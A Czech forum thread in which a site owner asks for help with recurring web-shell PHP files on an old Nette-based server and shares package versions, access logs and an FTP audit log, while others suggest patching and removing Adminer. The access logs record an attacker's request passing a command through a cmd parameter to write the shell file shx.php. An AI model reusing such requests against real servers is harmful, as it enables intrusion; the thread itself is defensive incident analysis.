Škodlivé soubory na serveru
- scientific
- Člen | 94
Ahoj všem, ve webu se mi objevují podezřelé soubory jako shx.php, KEehB.php apod. když je smažu, tak se tam po čase zase vrátí (možná spolu moc nesouvisí). V minulosti hledali na server přes shell_exec *.sql soubory a vytvářeli nějaké sqlite.
Hosting: Samohosting
Owner webu: web4
Owner podezřelých souborů: Apache
PHP Disabled_functions: shel_exec apod.
Composer show:
alchemy/binary-driver 1.5.0 A set of tools to build binary drivers
dg/adminer-custom v1.6.3 Customization for the best database management tool written in P...
doctrine/cache v1.4.2 Caching library offering an object-oriented API for many cache b...
evenement/evenement v1.0.0 Événement is a very simple event dispatching library for PHP 5.3
jkuchar/pdfresponse dev-master 5133fbe PdfResponse is wrapper of mPDF for Nette.
latte/latte v2.3.4 Latte: the amazing template engine for PHP
monolog/monolog 1.17.1 Sends your logs to files, sockets, inboxes, databases and variou...
mpdf/mpdf v6.0.0 A PHP class to generate PDF files from HTML with Unicode/UTF-8 a...
nette/application v2.3.5 Nette Application MVC Component
nette/bootstrap v2.3.3 Nette Bootstrap
nette/caching v2.3.3 Nette Caching Component
nette/component-model v2.2.3 Nette Component Model
nette/database v2.3.5 Nette Database Component
nette/deprecated v2.3.1 APIs and features removed from Nette Framework
nette/di v2.3.5 Nette Dependency Injection Component
nette/finder v2.3.1 Nette Finder: Files Searching
nette/forms v2.3.4 Nette Forms: greatly facilitates web forms
nette/http v2.3.3 Nette HTTP Component
nette/mail v2.3.2 Nette Mail: Sending E-mails
nette/neon v2.3.3 Nette NEON: parser & generator for Nette Object Notation
nette/nette v2.3.5 Nette Framework - innovative framework for fast and easy develop...
nette/php-generator v2.3.2 Nette PHP Generator
nette/reflection v2.3.1 Nette PHP Reflection Component
nette/robot-loader v2.3.1 Nette RobotLoader: comfortable autoloading
nette/safe-stream v2.3.1 Nette SafeStream: Atomic Operations
nette/security v2.3.1 Nette Security: Access Control Component
nette/tester v1.5.0 An easy-to-use PHP unit testing framework.
nette/tokenizer v2.2.1 Nette Tokenizer
nette/utils v2.3.4 Nette Utility Classes
neutron/temporary-filesystem 2.1.1 Symfony filesystem extension to handle temporary files
php-ffmpeg/php-ffmpeg 0.6.0 FFMpeg PHP, an Object Oriented library to communicate with AVcon...
psr/log 1.0.0 Common interface for logging libraries
symfony/filesystem v2.7.3 Symfony Filesystem Component
symfony/process v2.7.3 Symfony Process Component
tracy/tracy v2.3.4 Tracy: useful PHP debugger
Poznatky z logů: V accesslogu jsem našel, shodu s tou IP adresou, která poprvé spustila podezřelé soubory.
[root@server~]# cat /var/log/httpd/* | grep "184.23.20.194"
184.23.20.194 - - [17/Sep/2021:01:17:58 +0200] "GET /adminer.gz HTTP/1.1" 404 5070 "-" "Screaming Frog SEO Spider/15.
184.23.20.194 - - [17/Sep/2021:01:53:00 +0200] "GET /adminer.tar.gz HTTP/1.1" 404 212 "-" "Screaming Frog SEO Spider/
184.23.20.194 - - [17/Sep/2021:02:35:24 +0200] "GET /backup.zip HTTP/1.1" 404 208 "-" "Screaming Frog SEO Spider/15.2
184.23.20.194 - - [17/Sep/2021:14:58:39 +0200] "GET /adminer.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 1920 "-" "G
184.23.20.194 - - [17/Sep/2021:14:58:40 +0200] "POST /adminer.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 2548 "-" "
184.23.20.194 - - [17/Sep/2021:14:58:40 +0200] "GET /ynSWv.php?cmd=php+-r+%27file_put_contents%28%22shx.php%22%2Cfile 172 "-" "Go-http-client/1.1"
184.23.20.194 - - [17/Sep/2021:14:58:41 +0200] "GET /shx.php HTTP/1.1" 200 - "-" "Go-http-client/1.1"
184.23.20.194 - - [17/Sep/2021:15:08:38 +0200] "GET /shx.php HTTP/1.1" 200 - "-" "Screaming Frog SEO Spider/15.2"
[root@server~]# cat /var/log/httpd/* | grep "136.144.43.139"
136.144.43.139 - - [17/Sep/2021:15:15:29 +0200] "GET /adminer.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 1920 "-" "
136.144.43.139 - - [17/Sep/2021:15:15:30 +0200] "POST /adminer.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 2501 "-"
136.144.43.139 - - [17/Sep/2021:15:15:30 +0200] "GET /KEehB.php HTTP/1.1" 200 142 "-" "Go-http-client/1.1"
136.144.43.139 - - [17/Sep/2021:15:15:30 +0200] "GET /KEehB.php HTTP/1.1" 200 142 "-" "Go-http-client/1.1"
136.144.43.139 - - [17/Sep/2021:15:16:34 +0200] "GET /KEehB.php HTTP/1.1" 200 142 "-" "Screaming Frog SEO Spider/15.2
136.144.43.139 - - [17/Sep/2021:15:17:30 +0200] "GET /shx.php HTTP/1.1" 200 5157 "-" "Screaming Frog SEO Spider/15.2"
136.144.43.139 - - [17/Sep/2021:15:18:38 +0200] "GET /shx.php HTTP/1.1" 200 5158 "-" "Screaming Frog SEO Spider/15.2"
136.144.43.139 - - [17/Sep/2021:21:54:40 +0200] "GET /shx.php HTTP/1.1" 200 5158 "-" "Screaming Frog SEO Spider/15.2"
136.144.43.139 - - [17/Sep/2021:21:55:52 +0200] "GET /shx.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 5181 "-" "Go-h
136.144.43.139 - - [17/Sep/2021:21:55:52 +0200] "POST /shx.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 5181 "-" "Moz
136.144.43.139 - - [17/Sep/2021:21:55:52 +0200] "GET /OTlPL.php HTTP/1.1" 404 5070 "-" "Go-http-client/1.1"
136.144.43.139 - - [17/Sep/2021:22:04:59 +0200] "GET /shx.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 5182 "-" "Go-h
136.144.43.139 - - [17/Sep/2021:22:04:59 +0200] "POST /shx.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 5182 "-" "Moz
136.144.43.139 - - [17/Sep/2021:22:05:00 +0200] "GET /xNRPW.php HTTP/1.1" 404 5070 "-" "Go-http-client/1.1"
[
Máte prosím pro mě nějaké tipy, jak tomu do budoucna zabránit? Že by aktualizací všeho? Je to starý server, starý web, který mám v plánu nechat dožít, než zabít půl dne zlobením se s upgrade.
Děkuji moc za rady a tipy kam se ještě na co podívat, případné dotazy o informace doplním.
Editoval scientific (29. 9. 2021 11:52)
- Michal Kumžák
- Člen | 106
Máš napadené zdrojáky. Možností jak k tomu dochází je více. Například přes nechráněný upload nebo ukradené FTP. Je také dost možné, že tam je nějaký soubor co stačí spustit, aby ti tam soubory zase vytvořil. Nejlepší by bylo, kdybys to celé smazal a nahrál to tam znova. Změň si heslo na FTP a projdi si místa, kde se provádí upload, jestli to máš zabezpečené.
- Marek Bartoš
- Nette Blogger | 1274
Jestli je web dlouho neaktualizovaný, tak může jít o toto
https://blog.nette.org/…pusteni-kodu
- scientific
- Člen | 94
NE – Upload máme na webu až za administrací, ale bylo by to vidět
v accesslogu.
NE – Není tam spustitelný skript, který by soubor vytvořil, to by bylo
vidět v accesslogu.
NEVÍM – Jaký má význam smazat web a ten stejný web tam zase nahrát
znova?
ANO – Změn si heslo na FTP se asi hodí, log, který naznačuje přístup
nějaké divné IP adresy připsané Holandsku, že na FTP byl někdo cizí,
avšak s tímto problémem to nesouvisí.
[root@server www]# cat /var/log/audit/* | grep USER_AUTH | grep web4
type=USER_AUTH msg=audit(1501423609.037:481622): pid=6606 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:ftpd_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=pam_listfile,pam_shells,pam_unix acct="web4" exe="/usr/sbin/proftpd" hostname=185.115.9.* addr=185.115.9.* terminal=/dev/ftpd6606 res=success'
[root@server www]#
ANO – Aplikoval jsem patch pro CVE-2020–15227, ale jak říkám, nebylo by to vidět v accesslogu nějak? První návštěva je ten adminer.php a pak už ten nahraný soubor, ale možná mi unikají nějaké souvislosti z ještě jiných IP adres.
Díky všem za tipy, uvidíme, zda to třeba pomůže, každopádně si nemyslím, že by byl problém vyřešen.
Proto, kdyby měl někdo ještě nějaké nápady, kam se na co podívat, tak budu rád.
- Michal Kumžák
- Člen | 106
To že je upload v administraci, ještě neznamená, že tam není díra. Viz třeba upload u wysiwyg editorů.
- Marek Bartoš
- Nette Blogger | 1274
První návštěva je ten adminer.php a pak už ten nahraný soubor
Právě sis odpověděl, adminer. Smazat nebo aktualizovat, taky měl hlášené bezpečnostní chyby, včetně SSRF. https://www.cvedetails.com/…Adminer.html
Editoval Marek Bartoš (29. 9. 2021 12:14)